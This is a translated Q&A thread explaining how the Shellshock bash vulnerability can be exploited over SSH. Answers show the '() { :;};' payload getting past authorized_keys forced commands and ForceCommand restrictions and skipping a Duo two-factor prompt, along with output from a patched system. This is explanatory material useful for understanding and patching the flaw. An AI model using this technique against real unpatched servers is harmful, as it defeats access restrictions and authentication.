Mar*_*ter 68 bash ssh shellshock
显然,shellshock Bash 漏洞利用CVE-2014-6271可以通过 SSH 在网络上被利用。我可以想象这个漏洞是如何通过 Apache/CGI 工作的,但我无法想象这将如何通过 SSH 工作?
有人可以提供一个示例如何利用SSH,以及会对系统造成什么危害?
AFAIU,只有经过身份验证的用户才能通过 SSH 利用此漏洞。这个漏洞对于拥有合法访问系统的人有什么用?我的意思是,这个漏洞没有权限提升(他不能成为 root),所以他只能通过 SSH 合法登录后做更多的事情。
phe*_*mer 80
可以利用这一点的一个示例是在具有authorized_keys
强制命令的服务器上。向 中添加条目时~/.ssh/authorized_keys
,您可以在行前加上前缀command="foo"
以强制foo
在使用 ssh 公钥的任何时候运行。使用此漏洞,如果目标用户的 shell 设置为bash
,他们可以利用漏洞运行除他们被迫执行的命令之外的其他内容。
这在示例中可能更有意义,所以这里是一个示例:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Run Code Online (Sandbox Code Playgroud)
在这里,我们设置了一个用户testuser
,它强制使用您的 ssh 密钥运行任何 ssh 连接echo starting sleep; sleep 1
。
我们可以用以下方法测试:
$ ssh testuser@localhost echo something else
starting sleep
Run Code Online (Sandbox Code Playgroud)
注意我们的echo something else
没有运行,但starting sleep
显示强制命令确实运行了。
现在让我们展示如何使用此漏洞:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Run Code Online (Sandbox Code Playgroud)
这是有效的,因为sshd
将SSH_ORIGINAL_COMMAND
环境变量设置为传递的命令。因此,即使sshd
跑sleep
,而不是命令我告诉它,因为攻击,我的代码仍然得到执行。
Eri*_*mer 26
扩展来自 Ramesh 的示例 - 如果您使用双因素身份验证,则可以使用此漏洞绕过第二个因素,具体取决于它的实现方式。
— 正常登录 —
[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login
Enter a passcode or select one of the following options:
1. Duo Push to XXX-XXX-XXXX
2. Phone call to XXX-XXX-XXXX
3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)
Passcode or option (1-3): 1
Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout
Run Code Online (Sandbox Code Playgroud)
— 不使用 2FA 运行代码 —
[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE
Run Code Online (Sandbox Code Playgroud)
您会注意到它在没有提示输入 2FA 的情况下运行了代码。
— 修补 bash 后 —
[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Run Code Online (Sandbox Code Playgroud)
Gil*_*il' 25
Shellshock 是 bash 上的一个漏洞,而不是 SSH。为了利用它,攻击者需要使易受攻击的系统运行 bash,并控制将传递给 bash 的环境变量的值。
为了通过 SSH 到达 bash 进程,攻击者需要通过认证步骤。(可能存在通过其他网络服务的攻击向量,但它们超出了本线程的范围。)如果无论如何允许该帐户运行任意 shell 命令,则不会发生攻击。如果帐户被限制运行特定命令,则该漏洞就会发挥作用:例如,仅限 SFTP 的帐户或仅限 git 的帐户等。
有多种方法可以限制帐户使用 SSH 运行特定命令:使用ForceCommand
in 选项sshd_config
或使用command=
. authorized_keys
文件中的限制。如果用户的 shell 是 bash,则 Shellshock 漏洞允许通常只能访问受限帐户的用户绕过限制并执行任意命令。